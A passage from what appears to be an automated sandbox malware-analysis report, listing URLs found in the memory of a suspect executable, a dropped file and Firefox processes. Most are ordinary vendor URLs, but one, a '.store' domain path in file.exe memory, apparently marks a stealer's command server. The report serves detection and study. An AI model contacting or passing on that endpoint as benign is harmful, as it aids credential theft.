0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://studennotediw.store:443/api5
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000031.00000003.3282825438.000001F80EE7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.00000000006FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/le
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/a
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/accP
Source: file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.00000000007B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/acc~
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001C.00000003.3187765588.000002AE0D2EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3328585697.000001F8178B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3325660458.000001F81608C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.2256050392.0000000005F99000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2947391829.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3107825682.000000000532A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2256050392.0000000005F99000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2947391829.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3107825682.000000000532A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/places.frecency.pages.alternative.featureGateSELECT
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3268927888.000001F87F45F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000031.00000003.3288033037.000001F80F0BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000023.00000002.3207596708.00000229083D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://ac
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
